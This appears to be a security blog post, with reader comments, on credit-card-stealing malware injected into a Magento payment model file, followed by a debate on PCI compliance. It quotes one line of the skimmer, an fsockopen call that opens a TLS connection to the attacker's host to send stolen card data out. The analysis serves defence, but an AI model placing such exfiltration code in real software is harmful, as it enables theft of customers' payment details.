With about 30% of the market share, Magento is gradually becoming a “WordPress” of the ecommerce world. Like WordPress, it becomes a major target for hackers due to its popularity. However, in the case of Magento, the main goal that hackers pursue is to steal money, either from shop customers or the shop owners.
During the last year we described quite a few Magento attacks that steal customer credit cards. While most of them target the app/code/core/Mage/Payment/Model/Method/Cc.php it’s not the only file that you should be watching.
Magimo Injection
For example, the following malware was injected into the importData function in the includes/src/Mage_Sales_Model_Quote_Payment.php file
The four lines with encrypted code that begin with $Magimo really stick out when you look through the file. And while Magimo may look like something inherent to Magento where many modules and variables have names that begin with “Mag”, we are not aware of any Magento software using it. There is a premium WordPress theme called Magimo, but it isn’t involved.
Here’s the decoded version:
It checks if the function data contains credit card number and sends it to masterprotect[.]ir/1/56.php
Secure Theft
As you might noticed, SSL is important not only to online store owners and customers, but also to the thieves who use the TLS protocol to transfer stolen credit card details to their own server. You can see the attackers using the TLS protocol in the screenshot above:
fsockopen('tls://masterprotect.ir', 443, $r1, $r2, 3);
The Illusion of PCI Compliance in Magento
There is a common misunderstanding among owners of Magento sites. Some think that Magento is PCI compliant if they use SSL for their order forms. This is not true. Actually, the vast majority of Magento sites that process payments themselves are not PCI compliant. This means they are susceptible to attacks that steal customer credit card details. On the other hand, Magento provides methods that allow website owners to achieve PCI compliance:
Magento makes PCI compliance easier by offering integrated payment gateways that allow merchants to securely transmit credit card data via direct post API methods or with hosted payment forms provided by the payment gateway integrated with the merchant’s checkout pages. The Direct Post method allows for information to be sent directly to the payment gateway without sensitive data flowing through or stored on the Magento application server.
Conclusion
If you want to be PCI compliant but don’t have a dedicated professional security staff working with your site on a daily basis, you have to avoid processing payments on your server.
If you have questions about what PCI compliance is, and how you can achieve it for your ecommerce site, read our Introduction to E-Commerce and PCI Compliance
Ben Martin
Ashley Sand
Denis Sinegubko
Luke Leal
Liam Smith
Krasimir Konov
Rianna MacLeod
Cesar Anjos
4 comments
You’re getting a few things very wrong here. CC Number does *not* flow back through the app with Direct Post method or other Hosted Field methods which are how Magento achieves PCI. This is achieved with payment via JS direct post or iFrame. The CC number is not returned in the API response from the gateway, so this is only a vector when using a method that is not explicitly stated as PCI ready.
Further, the importData method has to be called directly and usually from payment data set on the request object:
“`
$paymentData = $this->getRequest()->getParam(‘payment’);
“`
In other words, Magento has to be the broker of the CC transaction for this to be a vector. Again, this is against the PCI compatible guidelines you quoted from the Magento site.
The *only* way that Magento can achieve PCI DSS certification is by removing Magento entirely from the payment process. Most merchants can achieve an SAQ-A EP or SAQ-A with this method. Otherwise you likely transaction large volume outside of your ecom channel and your payment vendor requires you to validate at a higher level anyhow. At any rate using Hosted Fields or an iFrame solution bypasses Magento from encountering the CC and therefore
As an FYI includes/src/* is a vector for attack only when using Magento compilation. Likely the source classes are corrupted *or* the attacker compromised a folder that is ephemeral – and would likely be overwritten next tim the compiler runs. Compilation is a legacy component of Magento and was basically deprecated in 1.7CE/1.12EE.
And to add, if you suggest that it is impossible to run Magento as PCI compliant even with taking CC data directly then you’re making a false claim. It is possible, but it brings the entire application into PCI scope which may make undue demand upon a system that has such a broad set of features and millions of LOC.
I’ve achieved PCI with Magento and survived external audit. It’s painful, but it’s doable, and the bulk of the pain was because of business burden such as CCTV, job role definition, HR processes, hiring a document disposal firm, etc.
Oh yes, that’s exactly what we said:
“On the other hand, Magento provides methods that allow website owners to achieve PCI compliance:
Magento makes PCI compliance easier by offering integrated payment gateways that allow merchants to securely transmit credit card data via direct post API methods or with hosted payment forms provided by the payment gateway integrated with the merchant’s checkout pages. The Direct Post method allows for information to be sent directly to the payment gateway without sensitive data flowing through or stored on the Magento application server.”
The main issue is that some webmasters are not aware of that and handle the transactions directly without taking security into consideration. They buy a SSL cert and think they got all that was needed. In fact, this post is based on compromised sites that we had to cleanup and the owners were not aware.
thanks,
Yes, you did quote the Magento site.
But you did it under the header “The Illusion of PCI Compliance in Magento” which comes across as incendiary as if you’re refuting their claim. You also claim “the vast majority of Magento sites that process payments themselves are not PCI compliant” – from where do you get this data? Can you provide sources for this claim? Is it supposition? It sounds like it. Cite a reference.
I think the phrase “This means they are susceptible to attacks that steal customer credit card details” could also be tweaked because the fact is that PCI is not in itself a protection. Zero day attacks do exist in software and nobody is invulnerable. Maintaining PCI is at most a best-effort approach to protecting customer data; especially when (according to Vormetric in its 2015 Insider Threat Report) 93% of all enterprises feel vulnerable to insider threats. Opportunistic breaches or data theft by an insider is the threat we should be spending more time talking about. Again, my opinion.
I’ll be the first to tell you Magento isn’t PCI compliant – see my (multiple slides and talks) on the topic at slideshare.com/philwinkle
Thank you for continuing to talk about Magento in the public space. I’d love to have you on MageTalk sometime to discuss this for a wider audience.
Comments are closed.